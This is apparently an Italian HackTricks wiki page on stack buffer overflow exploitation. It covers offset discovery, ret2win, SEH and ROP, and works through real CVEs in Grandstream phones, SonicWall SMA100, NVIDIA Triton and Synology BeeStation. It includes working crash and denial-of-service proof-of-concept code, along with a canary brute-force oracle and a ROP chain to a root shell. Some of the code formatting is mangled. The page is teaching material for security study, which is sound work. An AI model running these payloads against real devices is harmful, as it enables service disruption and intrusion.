Stack Overflow

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos’è uno Stack Overflow

A stack overflow è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questo eccesso di dati sovrascriverà lo spazio di memoria adiacente, portando alla corruzione di dati validi, alla compromissione del flusso di controllo e, potenzialmente, all’esecuzione di codice malevolo. Questo problema spesso nasce dall’uso di funzioni insicure che non eseguono un controllo dei limiti sull’input.

Il problema principale di questa sovrascrittura è che il saved instruction pointer (EIP/RIP) e il saved base pointer (EBP/RBP) per tornare alla funzione precedente sono memorizzati nello stack. Pertanto, un attacker potrà sovrascriverli e controllare il flusso di esecuzione del programma.

La vulnerabilità di solito nasce perché una funzione copia nello stack più byte di quelli allocati per essa, potendo così sovrascrivere altre parti dello stack.

Alcune funzioni comuni vulnerabili a questo sono: strcpy, strcat, sprintf, gets… Inoltre, funzioni come fgets, read & memcpy che prendono un argomento di lunghezza, potrebbero essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.

Ad esempio, le seguenti funzioni potrebbero essere vulnerabili:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Finding Stack Overflows offsets

Il modo più comune per trovare Stack Overflows è fornire un input molto grande di As (es. python3 -c 'print("A"*1000)') e aspettarsi un Segmentation Fault, che indica che si è tentato di accedere all’indirizzo 0x41414141.

Inoltre, una volta trovato che esiste una vulnerabilità Stack Overflow dovrai trovare l’offset necessario fino a poter overwrite the return address, per questo si usa solitamente una De Bruijn sequence. Per un dato alfabeto di dimensione k e sottosequenze di lunghezza n è una sequenza ciclica in cui ogni possibile sottosequenza di lunghezza n appare esattamente una volta come sottosequenza contigua.

In questo modo, invece di dover determinare manualmente quale offset è necessario per controllare la EIP, è possibile usare come padding una di queste sequenze e poi trovare l’offset dei byte che hanno finito per sovrascriverla.

È possibile usare pwntools per questo:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

o GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to sovrascrivere valori di variabili locali nello stack fino a raggiungere i registri salvati EBP/RBP and EIP/RIP (or even more).
Il modo più comune di sfruttare questo tipo di vulnerabilità è modificare l’indirizzo di ritorno in modo che, quando la funzione termina, il control flow venga reindirizzato dove l’attaccante ha specificato in quel puntatore.

Tuttavia, in altri scenari potrebbe bastare semplicemente sovrascrivere alcuni valori di variabili nello stack per realizzare l’exploit (come in semplici challenge CTF).

Ret2win

In questo tipo di CTF challenge, esiste una function dentro il binary che non viene mai chiamata e che devi chiamare per vincere. Per queste challenge devi solo trovare l’offset per sovrascrivere il return address e trovare l’indirizzo della function da chiamare (di solito ASLR è disabilitato) così quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata:

Ret2win

Stack Shellcode

In questo scenario l’attaccante può piazzare uno shellcode nello stack e abusare dell’EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Su Windows a 32-bit, un overflow può sovrascrivere la catena Structured Exception Handler (SEH) invece dell’indirizzo di ritorno salvato. Lo sfruttamento tipicamente sostituisce il puntatore SEH con un gadget POP POP RET e usa il campo nSEH di 4 byte per un short jump che riporta al grande buffer dove risiede lo shellcode. Uno schema comune è un short jmp in nSEH che atterra su un near jmp di 5 byte piazzato subito prima di nSEH per saltare indietro di centinaia di byte all’inizio del payload.

Windows SEH Overflow

ROP & Ret2… techniques

Questa tecnica è il framework fondamentale per bypassare la principale protezione rispetto alla tecnica precedente: No executable stack (NX). E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall…) che porteranno all’esecuzione di comandi arbitrari abusando di istruzioni esistenti nel binary:

ROP & JOP

Heap Overflows

Un overflow non è sempre nello stack, può anche trovarsi nell’heap, per esempio:

Heap Overflow

Types of protections

Esistono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, controllale in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)

  • /app/bin/gs_web (32-bit ARM) espone /cgi-bin/api.values.get su TCP/80 con nessuna autenticazione. Il parametro POST request è delimitato da due punti; ogni carattere viene copiato in char small_buffer[64] e il token è terminato con NUL su : o fine, senza alcun controllo di lunghezza, permettendo a un singolo token sovradimensionato di distruggere i registri salvati/return address.
  • PoC overflow (crasha e mostra i dati dell’attaccante nei registri): curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)".
  • Delimiter-driven multi-NUL placement: ogni due punti riavvia il parsing e aggiunge un NUL terminale. Usando più identificatori troppo lunghi, il terminatore di ciascun token può essere allineato a un offset diverso nel frame corrotto, permettendo all’attaccante di piazzare diversi byte 0x00 anche se ogni overflow normalmente aggiunge solo uno. Questo è cruciale perché il binary non-PIE è mappato a 0x00008000, quindi gli indirizzi dei gadget ROP contengono byte NUL.
  • Esempio di payload con due punti per lasciare cinque NUL a offset scelti (lunghezze tarate per il layout dello stack): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE
  • checksec mostra NX abilitato, nessun canary, no PIE. L’exploit usa una catena ROP costruita da indirizzi fissi (es., chiamare system() poi exit()), preparando gli argomenti dopo aver piantato i NUL richiesti con il trucco del delimitatore.

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Una buona dimostrazione del perché sscanf non dovrebbe mai essere usato per parsare input non attendibili è apparsa nel 2025 nell’appliance SSL-VPN SMA100 di SonicWall. La routine vulnerabile dentro /usr/src/EasyAccess/bin/httpd tenta di estrarre la versione e l’endpoint da qualsiasi URI che inizi con /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La prima conversione (%2s) memorizza in modo sicuro due byte in version (es. "v1").
  2. La seconda conversione (%s) non ha uno specificatore di lunghezza, quindi sscanf continuerà a copiare fino al primo byte NUL.
  3. Poiché endpoint si trova sul stack ed è lungo 0x800 byte, fornire un percorso più lungo di 0x800 byte corrompe tutto ciò che si trova dopo il buffer ‑ incluso il stack canary e il saved return address.

Una proof-of-concept in una singola riga è sufficiente per innescare il crash prima dell’autenticazione:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Anche se gli stack canaries terminano il processo, un attaccante ottiene comunque una primitiva di Denial-of-Service (e, con ulteriori information leaks, possibilmente code-execution).

Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) conteneva multiple stack-based overflows raggiungibili tramite la sua HTTP API. Il pattern vulnerabile è apparso ripetutamente in http_server.cc e sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) restituisce il numero di segmenti del buffer interno che compongono il corpo della richiesta HTTP corrente.
  2. Ogni segmento provoca l’allocazione sul stack di un evbuffer_iovec di 16 byte tramite alloca()senza alcun limite superiore.
  3. Abusando di HTTP chunked transfer-encoding, un client può forzare la richiesta a essere suddivisa in centinaia di migliaia di chunk da 6 byte ("1\r\nA\r\n"). Questo fa crescere n senza limiti fino a esaurire lo stack.

Prova di concetto (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e provocare il **crash** del daemon in una build di default.

### Esempio reale: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

La chain di Synacktiv a Pwn2Own 2025 ha abusato di un pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` sulla porta 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes l'attacker input in un buffer di stack di 4096 byte ma imposta erroneamente `decoded_len = auth_info->len`. Poiché il worker CGI effettua fork per request, ogni child eredita lo stack canary del parent, quindi un singolo overflow primitive stabile è sufficiente per corrompere lo stack e leakare tutti i segreti necessari.

#### JSON decodificato da Base64 come overflow strutturato
Il blob decodificato deve essere un JSON valido e includere le chiavi `"state"` e `"code"`; altrimenti il parser genera un errore prima che l'overflow sia utile. Synacktiv ha risolto questo codificando in Base64 un payload che decodifica in JSON, poi un byte NUL, poi lo stream di overflow. `strlen(decoded)` si ferma al NUL quindi il parsing riesce, ma `SLIBCBase64Decode` aveva già sovrascritto lo stack oltre l'oggetto JSON, includendo il canary, il saved RBP, e il return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi effettua un fork per ogni HTTP request, quindi tutti i processi child condividono lo stesso canary, lo stesso stack layout e lo stesso PIE slide. L’exploit usa lo status code HTTP come un oracle: una risposta 200 significa che il byte indovinato ha preservato lo stack, mentre 502 (o una connessione interrotta) indica che il processo è andato in crash. Brute-forzando ogni byte in serie si recuperano il canary di 8 byte, un puntatore di stack salvato e un indirizzo di ritorno all’interno di libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr semplicemente chiama bf_next_byte otto volte mentre appende il prefisso confermato. Synacktiv ha parallelizzato questi oracles con ~16 worker threads, riducendo il tempo totale di leak (canary + stack ptr + lib base) a meno di tre minuti.

Dai leak a ROP & esecuzione

Una volta nota la base della libreria, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) costruiscono una primitive arb_write che posiziona /bin/bash, -c e il comando dell’attaccante sull’indirizzo di stack leaked. Infine, la chain imposta la calling convention per SLIBCExecl (un wrapper BeeStation attorno a execl(2)), ottenendo una root shell senza bisogno di un bug di info-leak separato.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks